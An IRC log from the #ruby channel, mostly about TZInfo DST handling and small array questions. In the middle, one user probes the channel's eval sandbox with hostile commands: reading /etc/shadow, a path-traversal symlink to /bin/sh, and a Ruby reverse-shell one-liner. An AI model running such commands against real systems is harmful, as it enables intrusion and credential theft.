<bnagy> mark06: either I'd say
Foredoomed has joined #ruby
SilverKey has joined #ruby
varfoo has joined #ruby
<mark06> bnagy: ok man, you just sounded like arguing the problem was cause by not following the docs, when it was caused by poor code of them in the first place
<bnagy> we're talking now about a specific instant in time, at a location
SilverKey has quit [Max SendQ exceeded]
<mark06> either? I'm more confused now :)
<bnagy> mark06: it _was_ caused by not following the docs
phantasm66 has quit [Quit: *poof*]
banisterfiend has quit [Read error: Connection reset by peer]
<mark06> no it wasn't
<bnagy> I'm looking at them, and you weren't doing what they say
alexw has joined #ruby
<mark06> right
<alexw> has anyone used capistrano here?
CincyCurtis has joined #ruby
saarinen has quit [Quit: saarinen]
<bnagy> All methods in TZInfo that operate on a time can be used with either Time or DateTime instances or with Integer timestamps (i.e. as returned by Time#to_i)
* vpretzel sheepishly says I have...
<mark06> which is not an excuse for crappy code, wherever in the world would anyone ignore silently an invalid argument :P
<bnagy> mark06: anyway, it ignores your 'ruby' timezone which only knows local and utc, afaict
<vpretzel> A lot of dark dark places mark06
sevenseacat has joined #ruby
Foredoomed has quit [Read error: Connection reset by peer]
<mark06> vpretzel: heh, I beliebe you
<bnagy> it's just telling you that your instant in time is in dst at the location you gave it - whether you consider it from the point of view of DST or local, or +0545 in kathmandu
harumph has left #ruby ["ERC Version 5.3 (IRC client for Emacs)"]
<mark06> is there sense at all on talking about dst in utc?
SilverKey has joined #ruby
<bnagy> there is no sense talking about DST in ANY ZONE IDENTIFIER
<bnagy> again
jlast has joined #ruby
<mark06> I do get dst?, I don't get period_for_local vs. period_for_utc, since I still don't know which one the sample date is classified as
<bnagy> mark06: when you parse that, you get an instant in time. The SAME instant everywhere in the world
<mark06> what do you mean zone identifier, 'America/Sao_Paulo' or -0200?
devoldmx3 has joined #ruby
<bnagy> zone identifiers like EST etc
eka has quit [Quit: Computer has gone to sleep.]
<mark06> "Returns the TimezonePeriod for the given UTC time"
<bnagy> or UTC
<mark06> "Returns the TimezonePeriod for the given local time"
gyre007 has joined #ruby
<DanBoy> UTC = green which mean time correct
<DanBoy> wich
<bnagy> zone identifier is, in fact, probably the wrong term but I don't know what the term for the abbreviations is :)
<vpretzel> Yes DanBoy
<bnagy> DanBoy: no
gja has quit [Ping timeout: 264 seconds]
<mark06> the given is *the same*, which means when I'm using one or another, I'm saying *the same thing* is a *different* thing
<bnagy> GMT is Greenwich Mean
<vpretzel> oh damnit bnagy is right.
<DanBoy> hmm i thought they were the same, my bad
<DanBoy> army guys call GMT zulu time
nisstyre has joined #ruby
<bnagy> kinda
fgo has joined #ruby
deception has joined #ruby
<DanBoy> sounds cool :P
krainboltgreene has quit [Ping timeout: 246 seconds]
krainbol_ has joined #ruby
devoldmx has quit [Ping timeout: 245 seconds]
jlast has quit [Ping timeout: 245 seconds]
<bnagy> mark06: Note that the timezone information of the local Time object is ignored (TZInfo will just read the date and time and treat them as if there were in the 'tz' timezone)
<bnagy> again, not saying I agree with their API, but it's all written down
gyre007 has quit [Ping timeout: 245 seconds]
alvaro_o has quit [Quit: Ex-Chat]
Heero_ has joined #ruby
<mark06> isn't this just wrong? "Warning: There are local times that have no equivalent UTC times (e.g. in the transition from standard time to daylight savings time)."
<mark06> it should be there are UTC times that have no equivalent local times...
<mark06> say it's midnight
<DanBoy> >> puts 'hello'
<eval-in> DanBoy => hello ... (https://eval.in/58651)
Flashmasterson has joined #ruby
<mark06> and it's time for dst, so it's now 1am...
<DanBoy> >> `cat /etc/shadow`
<eval-in> DanBoy => (https://eval.in/58652)
<mark06> the *local* times between 0am and 1am do not exist
<mark06> say offset is -0300 standard, and -0200 dst
<bnagy> DanBoy: the sandbox is pretty good, we've all had years to break it
<mark06> so 0am is UTC 3am
<DanBoy> lol
pragmatism has quit [Quit: Leaving...]
<bnagy> you can go to the website and try to kill it though, charliesome will give you a prize
<DanBoy> i've seen people setting up a good sandbox by just denying certain system calls
villainous has joined #ruby
<mark06> and 1am dst is UTC 3am... ah wait.... I'm confused again
julweber_ has joined #ruby
<bnagy> it does that as well
<bnagy> >> fork()
<eval-in> bnagy => (https://eval.in/58653)
<DanBoy> >> ls
<eval-in> DanBoy => undefined local variable or method `ls' for main:Object (NameError) ... (https://eval.in/58654)
<DanBoy> woops
<DanBoy> >> `ls`
<eval-in> DanBoy => (https://eval.in/58655)
tylersmith has joined #ruby
<Flashmasterson> what does he mean by 3. of Extra Credit? I'm not sure how it should look in the code, but I've tried several ways and nothing has come out pretty. http://ruby.learncodethehardway.org/book/ex13.html
Heero` has quit [Ping timeout: 272 seconds]
tatsuya_o has joined #ruby
<DanBoy> >> `whoami`
<eval-in> DanBoy => (https://eval.in/58656)
<bnagy> mark06: the UTC times have equivalent localtimes
kumatora has joined #ruby
mansi has quit [Remote host closed the connection]
<kumatora> hello
<bnagy> mark06: it's the 'missing hour' in local that does not exist ( cannot be represented in UTC )
zodiak has joined #ruby
<mark06> bnagy: I'm aware how it works, I just can't connect the concepts with this lib
<kumatora> how would i go about reversing a slice of an array?
<bnagy> mark06: but the UTC tick from their midnight exists, as does the UTC for their 01:00:01
<DanBoy> >> `ln -s ../../../../../../../bin/sh sh`
<eval-in> DanBoy => (https://eval.in/58657)
julweber has quit [Ping timeout: 252 seconds]
<kumatora> ideally in a short amount of code
<mark06> bnagy: but the missing hour is invalid in local time as well, so the time object with such value should not even be existing at all
<bnagy> mark06: ok, well I'm just saying the description is correct - there are local times that have no UTC equivalents
<bnagy> you could write down 00:30 in that timezone - you just couldn't represent it as 'real' time
io_syl has quit [Ping timeout: 260 seconds]
lfox has quit []
tjbarber has quit [Quit: Textual IRC Client: www.textualapp.com]
<bnagy> >> a=[1,2,3,4]; a[1..2]=a[1..2].reverse; a
<eval-in> bnagy => [1, 3, 2, 4] (https://eval.in/58658)
<mark06> hmm utc 3am is actually local 1am dst, and utc 2:59am is local 23:59am standard, so right the period 0-1am local won't have an equivalent in utc, but it isn't even valid and the object instance shouldn't really even exist so that we could *ever* look for an equivalent utc time, see?
<bnagy> I see what you're saying, it's just qwrong :)
tatsuya_o has quit [Ping timeout: 252 seconds]
<mark06> bnagy: the example sounds odd to me.... but it seems fine if ruby/libs ever allowed creation of such invalid local times...
alexw has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
jonathanwallace has quit [Ping timeout: 245 seconds]
jarm has quit [Ping timeout: 240 seconds]
<mark06> there may be situations when these objects shall exist, who knows...
villainous has quit [Quit: villainous]
baroquebobcat has joined #ruby
fgo has quit [Remote host closed the connection]
hiyosi has joined #ruby
<DanBoy> >> `ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`
<eval-in> DanBoy => (https://eval.in/58659)
jkline has quit [Quit: jkline]
Hanmac1 has joined #ruby
<DanBoy> >> `perl --version`
<eval-in> DanBoy => (https://eval.in/58660)
<bnagy> DanBoy: honestly, just go to https://eval.in
<DanBoy> lol
<bnagy> although the reverse shell try was cute
freerobby has quit [Quit: Leaving.]
<DanBoy> lol ya
hiyosi has quit [Ping timeout: 246 seconds]
iamjarvo has quit [Remote host closed the connection]
nateberkopec has quit [Quit: Leaving...]
iamjarvo has joined #ruby
Hanmac has quit [Ping timeout: 264 seconds]
pragmatism has joined #ruby
larissa has quit [Quit: Leaving]
<mark06> ah, from period_for_utc: "Any timezone information in utc is ignored (it is treated as a UTC time)."
<mark06> and period_for_local: "Any timezone information in local is ignored (it is treated as a time in the current timezone)."
<mark06> clarifying!!
amritanshu_RnD has joined #ruby
pragmatism has quit [Remote host closed the connection]
<kumatora> hey all, i have a question about reverse and substrings of arrays: http://pastie.org/8441679
jonr22 has joined #ruby
iamjarvo has quit [Ping timeout: 245 seconds]
Foredoomed has joined #ruby
<bnagy> kumatora: you're almost there with your first try, you just need to assign it back, not try reverse!
danshultz has quit [Remote host closed the connection]
<kumatora> yeah, i have it with a long version where i assign it along with the rest of the array
<DanBoy> in the assembly did you guys go handle something like memcpy(buffer,overflow);
danshultz has joined #ruby
<kumatora> but i was wondering if there was a more elegant way to do it :)
fgo has joined #ruby
CincyCurtis has quit [Ping timeout: 245 seconds]
<bnagy> >> a = [1, 5, 2, 3, 6, 7, 8, 10, 9, 4]; a[0..a.index(a.max)] = a[0..a.index(a.max)].reverse; a
<eval-in> bnagy => [10, 8, 7, 6, 3, 2, 5, 1, 9, 4] (https://eval.in/58662)
<mark06> bnagy: however, there's a problem, see this page showing that dst in 2012 started on October 21st, 1am... http://www.timeanddate.com/worldclock/clockchange.html?n=45&year=2012
jonr22 has quit [Ping timeout: 245 seconds]
diegoviola has joined #ruby
<mark06> bnagy: so the local time 2012-10-21 0:30am, for example, is invalid, right? since it jumped from 0am to 1am... however...
RORgasm has joined #ruby
<mark06> bnagy: however this works, despite the doc saying PeriodNotFound would be raised:
<mark06> tz.period_for_local(DateTime.strptime('Wed 2012-10-21 00:30:00 -0300', '%a %Y-%m-%d %H:%M:%S %z'))
nisstyre has quit [Ping timeout: 240 seconds]
danshultz has quit [Ping timeout: 246 seconds]
<bnagy> dunno :) but did dst start at 0000 or 0100?
<mark06> ah if I remove the -0300 it raises PeriodNotFound, how so if "Any timezone information in local is ignored (it is treated as a time in the current timezone)."
<mark06> bnagy: from 0h to 1h, at 0h clock adjusted 1h forward
<bnagy> ok - anyway, it's strptime giving you a time you didn't expect, I imagine
<mark06> for my last question, well period method actually won't see the -0300, strptime will...
<mark06> right, ...
gsvolt has quit [Remote host closed the connection]
saarinen has joined #ruby
gsvolt has joined #ruby
araujo has quit [Read error: Connection reset by peer]
codeFiend has joined #ruby
araujo has joined #ruby
coca_rails has joined #ruby
<kumatora> bnagy: thanks!
RORgasm has quit [Ping timeout: 272 seconds]
<kumatora> trying my hand at some rubygolf
<DanBoy> pretty good sandbox ;)
gsvolt has quit [Remote host closed the connection]
petey has joined #ruby
gsvolt has joined #ruby
raphaelivan has quit [Quit: Leaving.]
RealMarc has quit [Ping timeout: 272 seconds]
Jetchisel has left #ruby ["Unfortunately time is always against us -- *Morpheus*"]
gja has joined #ruby
coca_rails has quit [Quit: Colloquy for iPhone - http://colloquy.mobi]
postmodern has quit [Quit: Leaving]
mikepack has joined #ruby
saarinen has quit [Quit: saarinen]
<DanBoy> still got memcpy(kernel_buf,my_buf, -1) though ;P
funburn has joined #ruby
bluOxigen has joined #ruby
kaspergrubbe has joined #ruby
nisstyre has joined #ruby
navyant24 has joined #ruby
alexw has joined #ruby
ananthakumaran has joined #ruby
c0rn has joined #ruby
<mark06> hmm, this one raises the error: dt=DateTime.strptime('Wed 2012-10-20 21:30:00 -0300', '%a %Y-%m-%d %H:%M:%S %z')
mikepack has quit [Ping timeout: 240 seconds]
c0rn has quit [Client Quit]
ericwood has quit [Ping timeout: 245 seconds]
chihhsin has quit [Ping timeout: 248 seconds]
Soda has quit [Read error: Connection reset by peer]
ericwood has joined #ruby
coca_rails has joined #ruby
saarinen has joined #ruby
thams has quit [Quit: thams]
kaspergrubbe has quit [Ping timeout: 264 seconds]
coca_rails has quit [Client Quit]
freerobby has joined #ruby
thams has joined #ruby
nateberkopec has joined #ruby
coca_rails has joined #ruby
freerobby has quit [Ping timeout: 268 seconds]
adeponte has joined #ruby
deception has quit [Quit: Goodbye]
mary5030 has joined #ruby
Zesty has joined #ruby
nateberkopec has quit [Ping timeout: 240 seconds]
* mark06 confused, confused, confused...
x1337807x has joined #ruby
Zesty_ has joined #ruby
nwertman has quit [Ping timeout: 264 seconds]
<vpretzel> don't be confused mark06
<vpretzel> Ruby will be the light in your life
<vpretzel> Just go to it ;-)
nwertman has joined #ruby
agent_white has joined #ruby
Zesty_ has quit [Client Quit]
Zesty has quit [Quit: Linkinus - http://linkinus.com]
Zesty_ has joined #ruby
Zesty_ has quit [Client Quit]
Zesty has joined #ruby
krainbol_ has quit [Ping timeout: 268 seconds]
Zesty has quit [Client Quit]
Zesty has joined #ruby
agustinvinao has joined #ruby
Zesty has quit [Client Quit]
radic has quit [Disconnected by services]
radic_ has joined #ruby
zz_tsykoduk is now known as tsykoduk
awc737 has quit [Ping timeout: 245 seconds]
osvico has joined #ruby
tatsuya_o has joined #ruby
agustinvinao has quit [Remote host closed the connection]
krainboltgreene has joined #ruby
mansi has joined #ruby
awc737 has joined #ruby
tatsuya__ has joined #ruby
tatsuya_o has quit [Read error: Connection reset by peer]
<mark06> ok so different approach
Flashmasterson has quit [Quit: Leaving.]
mansi has quit [Ping timeout: 245 seconds]
jkhwan has joined #ruby
funburn has quit [Quit: funburn]
<mark06> given a list of date/times, I want to select the ones which are within standard time period for the date/time's year, any ideas?
tatsuya__ has quit [Ping timeout: 264 seconds]
kumatora has left #ruby [#ruby]
sayan has joined #ruby
<mark06> it seems I can parse each date and check if it's dst or not, but I just wanted to avoid parsing them all...
<mark06> hmm I guess that's the way to go anyway...
tsykoduk is now known as zz_tsykoduk
krz has joined #ruby
CaptainJet has quit []
m00nlight has quit [Remote host closed the connection]
justsee has joined #ruby
m00nlight has joined #ruby
taternuts has quit [Ping timeout: 245 seconds]
aapzak has quit [Ping timeout: 245 seconds]
lyanchih has quit [Quit: lyanchih]
lyanchih has joined #ruby
gja has quit [Quit: This computer has gone to sleep]
aapzak has joined #ruby
jkhwan has quit [Remote host closed the connection]
jkhwan has joined #ruby
s3itz has joined #ruby
m00nlight has quit [Ping timeout: 251 seconds]
alexw has left #ruby ["Textual IRC Client: www.textualapp.com"]
petey has quit [Remote host closed the connection]
petey has joined #ruby
soba has joined #ruby
jkhwan_ has joined #ruby
jkhwan has quit [Read error: Connection reset by peer]
brennanMKE has quit [Remote host closed the connection]
brennanMKE has joined #ruby
petey has quit [Ping timeout: 240 seconds]
jkhwan_ has quit [Remote host closed the connection]
brennanMKE has quit [Ping timeout: 268 seconds]
jkhwan has joined #ruby
soba has quit [Ping timeout: 240 seconds]
platypine has quit [Ping timeout: 252 seconds]
Guest59834 has quit [Ping timeout: 260 seconds]
frem has joined #ruby
m00nlight has joined #ruby
zz_tsykoduk is now known as tsykoduk
ericwood has quit [Ping timeout: 246 seconds]
jarray52 has joined #ruby
jarray52 has left #ruby [#ruby]
alexw has joined #ruby
<alexw> !paste
jkhwan has quit [Ping timeout: 272 seconds]
ericwood has joined #ruby
astrobunny has joined #ruby
saarinen has quit [Quit: saarinen]
astrobu__ has quit [Ping timeout: 240 seconds]
mary5030 has quit [Remote host closed the connection]
mary5030 has joined #ruby
fgh has quit [Quit: Leaving]
freerobby has joined #ruby
|jemc| has quit [Ping timeout: 246 seconds]
io_syl has joined #ruby
nateberkopec has joined #ruby
tomzx_mac has quit [Ping timeout: 240 seconds]
mary5030 has quit [Ping timeout: 268 seconds]
Andrevan has quit [Quit: WeeChat 0.4.2-rc1]
freerobby has quit [Ping timeout: 264 seconds]
dross has quit [Read error: Operation timed out]
dross has joined #ruby
nateberkopec has quit [Ping timeout: 245 seconds]
m00nlight has quit [Remote host closed the connection]
mary5030 has joined #ruby
brennanMKE has joined #ruby
mary5030 has quit [Ping timeout: 246 seconds]
Guest26190 is now known as ixx
jkhwan has joined #ruby
bean has joined #ruby
coca_rails has quit [Remote host closed the connection]
Lewix has joined #ruby
coca_rails has joined #ruby
alse has quit [Quit: Leaving...]
brennanMKE has quit [Ping timeout: 240 seconds]
zz_michael_mbp is now known as michael_mbp
bean__ has joined #ruby
julian-delphiki has quit [Ping timeout: 272 seconds]
sayan has quit [Ping timeout: 264 seconds]
coca_rails has quit [Ping timeout: 246 seconds]
ananthakumaran has quit [Quit: Leaving.]
robbyoconnor has joined #ruby
mansi has joined #ruby
bean has quit [Ping timeout: 268 seconds]
mark06 has left #ruby [#ruby]
tatsuya_o has joined #ruby
jonr22 has joined #ruby
jkhwan has quit [Remote host closed the connection]
whunt has quit [Quit: Computer has gone to sleep.]
jkhwan has joined #ruby
mansi has quit [Ping timeout: 245 seconds]
mary5030 has joined #ruby
soba has joined #ruby
tatsuya_o has quit [Ping timeout: 245 seconds]
Foredoomed has quit [Quit: Going offline, see ya! (www.adiirc.com)]
hiyosi has joined #ruby
jonr22 has quit [Ping timeout: 268 seconds]
kreeves has quit [Ping timeout: 268 seconds]
tonni has joined #ruby
osvico has quit [Ping timeout: 245 seconds]
|jemc| has joined #ruby
jkhwan has quit [Ping timeout: 272 seconds]
mlpinit has joined #ruby
sayan has joined #ruby
w3pm has quit [Quit: Leaving]
tonni_ has quit [Ping timeout: 252 seconds]
yfeldblum has joined #ruby
heidi has joined #ruby
yfeldblum has quit [Remote host closed the connection]
hiyosi has quit [Ping timeout: 246 seconds]
jkhwan has joined #ruby
jonahR has joined #ruby
yfeldblum has joined #ruby
mlpinit_ has quit [Ping timeout: 246 seconds]
`Chris`_ has quit [Remote host closed the connection]
blueOxigen has joined #ruby
`Chris` has joined #ruby
mlpinit has quit [Ping timeout: 246 seconds]
achru has joined #ruby
fredjean has quit [Quit: Computer has gone to sleep.]
sayan has quit [Ping timeout: 246 seconds]
idiocrash has joined #ruby
bluOxigen has quit [Ping timeout: 268 seconds]
krainboltgreene has quit [Ping timeout: 272 seconds]
`Chris` has quit [Ping timeout: 246 seconds]
fredjean has joined #ruby
krainboltgreene has joined #ruby
jkhwan has quit [Remote host closed the connection]
jkhwan has joined #ruby
alexw has left #ruby ["Textual IRC Client: www.textualapp.com"]
soba has quit [Ping timeout: 264 seconds]
jkhwan has quit [Ping timeout: 272 seconds]
MrPoT4tO has quit [Read error: Connection reset by peer]
mrpot4to_ has quit [Read error: Connection reset by peer]
lukec has joined #ruby
dhilipsiva has joined #ruby
MrPoT4tO has joined #ruby
mrsolo has quit [Quit: This computer has gone to sleep]
fomatin has joined #ruby
mrpot4to_ has joined #ruby
mrsolo has joined #ruby
fredjean has quit [Quit: Computer has gone to sleep.]
kobain has quit []
mikepack has joined #ruby
frem has quit [Ping timeout: 252 seconds]
wereHamster|work has joined #ruby
Sauvin has joined #ruby
nowthatsamatt has quit [Quit: nowthatsamatt]
Sauvin has quit [Max SendQ exceeded]
mikepack has quit [Ping timeout: 272 seconds]
krainboltgreene has quit []
freerobby has joined #ruby
Foredoomed has joined #ruby
gja has joined #ruby
nateberkopec has joined #ruby
jgoss has joined #ruby
Spami has joined #ruby
freerobby has quit [Ping timeout: 245 seconds]
jgoss has quit [Client Quit]
aantix has joined #ruby
nateberkopec has quit [Ping timeout: 245 seconds]
jgoss has joined #ruby
OdNairy has joined #ruby
lbwski has quit [Ping timeout: 245 seconds]
michael_mbp is now known as zz_michael_mbp
jlast has joined #ruby
pierre1 has joined #ruby
lbwski has joined #ruby
jgoss has quit [Changing host]
jgoss has joined #ruby
fredjean has joined #ruby
mrpot4to__ has joined #ruby
thams has quit [Ping timeout: 246 seconds]
MrPoT4tO has quit [Ping timeout: 264 seconds]
Spami has quit [Ping timeout: 246 seconds]
wereHamster|work has quit [Remote host closed the connection]
gyre007 has joined #ruby
Vendethi_ has joined #ruby
brennanMKE has joined #ruby
jlast has quit [Ping timeout: 245 seconds]
lukec has quit [Quit: lukec]
gyre007 has quit [Ping timeout: 245 seconds]
bluOxigen has joined #ruby
saarinen has joined #ruby
brennanMKE has quit [Ping timeout: 245 seconds]
bluOxigen has quit [Read error: Connection reset by peer]
blueOxigen has quit [Ping timeout: 245 seconds]
bluOxigen has joined #ruby
perlphil has quit [Quit: perlphil]
stkowski has joined #ruby
saarinen has quit [Client Quit]
lxsameer has joined #ruby
mansi has joined #ruby
b00stfr3ak has joined #ruby
ananthakumaran has joined #ruby
mary5030 has quit [Remote host closed the connection]
tatsuya_o has joined #ruby
mary5030 has joined #ruby
neo__ has joined #ruby
neo__ has quit [Client Quit]
falood has quit []
mansi has quit [Ping timeout: 245 seconds]
dabos has quit [Quit: Leaving]
tatsuya_o has quit [Ping timeout: 245 seconds]
vpretzel has quit [Remote host closed the connection]
parzo has joined #ruby
JaTochNietDan has joined #ruby
mary5030 has quit [Read error: Operation timed out]
vpretzel has joined #ruby
dhilipsiva has quit [Remote host closed the connection]
dhilipsiva has joined #ruby
pwh has quit []
bradhe has joined #ruby
kaushal has joined #ruby
<kaushal> Hi
<kaushal> I am new to ruby. Any tutorial or good books to start learning Ruby?
vpretzel has quit [Ping timeout: 268 seconds]
jgoss has quit [Remote host closed the connection]
soba has joined #ruby
soba_ has joined #ruby
noop has joined #ruby
amacgregor_ has joined #ruby
baroquebobcat has quit [Quit: baroquebobcat]
Shidash has quit [Ping timeout: 260 seconds]
soba has quit [Ping timeout: 245 seconds]
timonv has joined #ruby
amacgregor has quit [Ping timeout: 246 seconds]
navyant24 has quit [Ping timeout: 245 seconds]
navyant24 has joined #ruby
funburn has joined #ruby
apeiros has quit [Read error: Connection reset by peer]
apeiros has joined #ruby
<kaushal> checking in again for my query?
alexw has joined #ruby
<alexw> how do I add to an array?
<alexw> i.e. set :linked_files, %w{bootstrap/environment.php app/config/database.php}
<alexw> I want to add a file onto that
fomatin has quit [Quit: Computer has gone to sleep.]
<alexw> array/hash
s3itz has quit [Ping timeout: 264 seconds]
WillAmes has quit [Remote host closed the connection]
fgo has quit [Remote host closed the connection]
WillAmes has joined #ruby
amacgregor__ has joined #ruby
falood has joined #ruby
scarpino has joined #ruby
amacgregor_ has quit [Ping timeout: 240 seconds]
Shidash has joined #ruby
jkline has joined #ruby
sbos99 has joined #ruby
DonRichie has joined #ruby
DonRichie has quit [Read error: Connection reset by peer]
parzo has quit [Remote host closed the connection]
apeiros has quit [Remote host closed the connection]
parzo has joined #ruby
apeiros has joined #ruby
kaushal has quit [Ping timeout: 245 seconds]
freerobby has joined #ruby
agent_white has quit [Quit: leaving]
jmoeller has joined #ruby
nateberkopec has joined #ruby
Shidash has quit [Ping timeout: 245 seconds]
kaushal has joined #ruby
apeiros has quit [Ping timeout: 245 seconds]
hamakn_ has quit [Ping timeout: 240 seconds]
kaushal has quit [Client Quit]
freerobby has quit [Ping timeout: 252 seconds]
tsykoduk is now known as zz_tsykoduk
JohnBat26 has joined #ruby
nateberkopec has quit [Ping timeout: 245 seconds]
TheNumb_ is now known as TheNumb
TheNumb has quit [Changing host]
TheNumb has joined #ruby
Alina-malina has quit [Read error: Connection reset by peer]
Alina-malina has joined #ruby
whunt has joined #ruby
tagrudev has joined #ruby
jonr22 has joined #ruby
timonv has quit [Remote host closed the connection]
timonv has joined #ruby
brennanMKE has joined #ruby
hamakn has joined #ruby
jonr22 has quit [Ping timeout: 240 seconds]
JaTochNietDan has quit [Ping timeout: 245 seconds]
timonv has quit [Ping timeout: 245 seconds]
kevinykchan has joined #ruby
idiocrash has quit []
brennanMKE has quit [Ping timeout: 272 seconds]
funburn has quit [Quit: funburn]
pyrac has joined #ruby
tonini_ is now known as tonini
fgo has joined #ruby
graydot has joined #ruby
tharindu has joined #ruby
mansi has joined #ruby
tharindu has quit [Client Quit]
zoee has joined #ruby
tharindu has joined #ruby
stkowski has quit [Quit: stkowski]
tatsuya_o has joined #ruby
simoz has joined #ruby
mansi has quit [Ping timeout: 245 seconds]
butblack has quit [Quit: butblack]
ukd1 has joined #ruby
yfeldblum has quit [Read error: Connection reset by peer]
tatsuya_o has quit [Ping timeout: 240 seconds]
hiyosi has joined #ruby
codenapper has joined #ruby
Shidash has joined #ruby
amacgregor_ has joined #ruby
ukd1 has quit [Remote host closed the connection]
dangerousdave has joined #ruby
fgo has quit [Remote host closed the connection]
awc737 has quit [Excess Flood]
fgo has joined #ruby
Lewix has quit [Remote host closed the connection]
nateberkopec has joined #ruby
jonahR has quit [Quit: jonahR]
amacgregor__ has quit [Ping timeout: 246 seconds]
hiyosi has quit [Ping timeout: 240 seconds]
gja has quit [Quit: This computer has gone to sleep]
awc737 has joined #ruby
mrsolo has quit [Quit: This computer has gone to sleep]
sevenseacat has quit [Remote host closed the connection]
funburn has joined #ruby
sevenseacat has joined #ruby
nateberkopec has quit [Ping timeout: 245 seconds]
diegoviola has quit [Ping timeout: 245 seconds]
drumusician has joined #ruby
pyrac has quit [Quit: pyrac]
zz_michael_mbp is now known as michael_mbp
scarpino has quit [Remote host closed the connection]
RORgasm has joined #ruby
bradhe has quit [Remote host closed the connection]
mengu has joined #ruby
durtschi has joined #ruby
fomatin has joined #ruby
blaxter_ has joined #ruby
paolooo has joined #ruby
RORgasm has quit [Ping timeout: 264 seconds]
tylersmith has quit [Remote host closed the connection]
adambeynon has joined #ruby
Mon_Ouie has quit [Ping timeout: 240 seconds]
Xeago has joined #ruby
durtschi has quit [Remote host closed the connection]
ecksit has joined #ruby
ewnd9 has joined #ruby
tonni has quit [Remote host closed the connection]
tonni has joined #ruby
mupkoo has joined #ruby
pyrac has joined #ruby
mikepack has joined #ruby
bradhe has joined #ruby
flower-pot has joined #ruby
tonni has quit [Ping timeout: 252 seconds]
freerobby has joined #ruby
pyrac has quit [Ping timeout: 245 seconds]
mikepack has quit [Ping timeout: 252 seconds]
nisstyre has quit [Ping timeout: 252 seconds]
persand has joined #ruby
simoz has quit [Ping timeout: 268 seconds]
mrpot4to__ has quit [Read error: Connection reset by peer]
MrPoT4tO has joined #ruby
amacgregor__ has joined #ruby
wallerdev has quit [Quit: wallerdev]
bradhe has quit [Remote host closed the connection]
freerobby has quit [Ping timeout: 246 seconds]
skaflem has joined #ruby
Astralum has joined #ruby
amacgregor_ has quit [Ping timeout: 264 seconds]
|jemc| has quit [Ping timeout: 246 seconds]
prophile has quit [Ping timeout: 245 seconds]
leonidlm has joined #ruby
prophile has joined #ruby
tonni has joined #ruby
mrpot4to_ has quit [Remote host closed the connection]
MrPoT4tO has quit [Read error: Connection reset by peer]
funburn has quit [Quit: funburn]
palms has joined #ruby
prophile has quit [Ping timeout: 246 seconds]
tonni has quit [Read error: Connection reset by peer]
brennanMKE has joined #ruby
prophile has joined #ruby
sadleb has quit [Ping timeout: 268 seconds]
io_syl has quit []
pierre1 has quit [Ping timeout: 246 seconds]
echevemaster has quit [Quit: Leaving]
sadleb has joined #ruby
brennanMKE has quit [Ping timeout: 245 seconds]
Kneferilis has joined #ruby
tonni has joined #ruby
navyant24 has quit [Quit: navyant24]
simoz has joined #ruby
tharindu has quit [Quit: Leaving...]
jkline has quit [Quit: jkline]
andikr has joined #ruby
xp_prg4 has joined #ruby
<xp_prg4> hi all, I want to automate my ios builds, I was told that shenzhen is a good way to do that
<xp_prg4> I did gem install shenzhen and it is just hanging there, nothing is happening :(
tonni has quit [Ping timeout: 246 seconds]
tonni has joined #ruby
tatsuya_o has joined #ruby
jprovazn has joined #ruby
dangerousdave has quit [Quit: Linkinus - http://linkinus.com]
Domon has joined #ruby
tesuji has joined #ruby
Metal_01 has joined #ruby
h_kon has joined #ruby
tatsuya_o has quit [Ping timeout: 268 seconds]
claymore has joined #ruby
adambeynon has quit [Quit: Textual IRC Client: www.textualapp.com]
lsmola_ has joined #ruby
Metal_01 has quit [Client Quit]
tharindu has joined #ruby
dagobah has joined #ruby
nateberkopec has joined #ruby
nextdropping has joined #ruby
nextdropping has quit [Client Quit]
soba_ has quit [Read error: Connection reset by peer]
jibi has joined #ruby
paolooo has quit [Quit: Page closed]
banisterfiend has joined #ruby
michael_mbp is now known as zz_michael_mbp
nateberkopec has quit [Ping timeout: 240 seconds]
relix has joined #ruby
reset has joined #ruby
Es0teric has quit [Quit: Computer has gone to sleep.]
xp_prg4 has quit [Quit: Page closed]
Nuck has quit [Ping timeout: 268 seconds]
lurch_ has joined #ruby
relix has quit [Client Quit]
tonni has quit [Read error: Connection reset by peer]
Raon has joined #ruby
ecksit has quit [Quit: Laters.]
dabos has joined #ruby
zigomir has joined #ruby
parzo has quit [Remote host closed the connection]
bluOxigen has quit [Ping timeout: 252 seconds]
parzo has joined #ruby
Raon has quit [Client Quit]
lurch_ has left #ruby [#ruby]
tboerger has joined #ruby
aantix has quit [Quit: aantix]
Raon has joined #ruby
sbos99 has quit [Ping timeout: 245 seconds]
fgo has quit [Remote host closed the connection]
|jemc| has joined #ruby
parzo has quit [Ping timeout: 245 seconds]
Hanmac has joined #ruby
funburn has joined #ruby
tatsuya_o has joined #ruby
tonni has joined #ruby
Hanmac1 has quit [Ping timeout: 268 seconds]
palms has quit [Ping timeout: 272 seconds]
pyrac has joined #ruby
PLejeck has joined #ruby
PLejeck has quit [Changing host]
PLejeck has joined #ruby
PLejeck is now known as Nuck
tylersmith has joined #ruby
fgo has joined #ruby
monkegjinni has joined #ruby
Vendethi_ has quit [Ping timeout: 240 seconds]
DonRichie has joined #ruby
nkts has quit [Quit: x]
dweeb has joined #ruby
derebos has joined #ruby
jonr22 has joined #ruby
noname001 has joined #ruby
tylersmith has quit [Ping timeout: 245 seconds]
cyro has joined #ruby
dangerousdave has joined #ruby
freerobby has joined #ruby
Foredoomed has quit [Quit: Going offline, see ya! (www.adiirc.com)]
RealMarc has joined #ruby
jonr22 has quit [Ping timeout: 246 seconds]
Nuck has quit [Quit: Nuck Off]
chihhsin has joined #ruby
PLejeck has joined #ruby
freerobby has quit [Ping timeout: 252 seconds]
b00stfr3ak has quit [Ping timeout: 268 seconds]
einarj has joined #ruby
PLejeck has quit [Changing host]
PLejeck has joined #ruby
PLejeck is now known as Nuck
cyro has left #ruby [#ruby]
reset has quit [Quit: Leaving...]
soba has joined #ruby
jlast has joined #ruby
alexw has quit [Quit: Textual IRC Client: www.textualapp.com]
markus- has joined #ruby
markus- has quit [Client Quit]
threesome has joined #ruby
tonni has quit [Read error: Connection reset by peer]
justsee has quit [Ping timeout: 272 seconds]
amacgregor__ has quit [Read error: Connection reset by peer]
amacgregor__ has joined #ruby
flower-pot has quit [Ping timeout: 245 seconds]
flower-pot has joined #ruby
jlast has quit [Ping timeout: 264 seconds]
amacgregor__ has quit [Read error: Connection reset by peer]
brennanMKE has joined #ruby
Vendethi_ has joined #ruby
amacgregor__ has joined #ruby
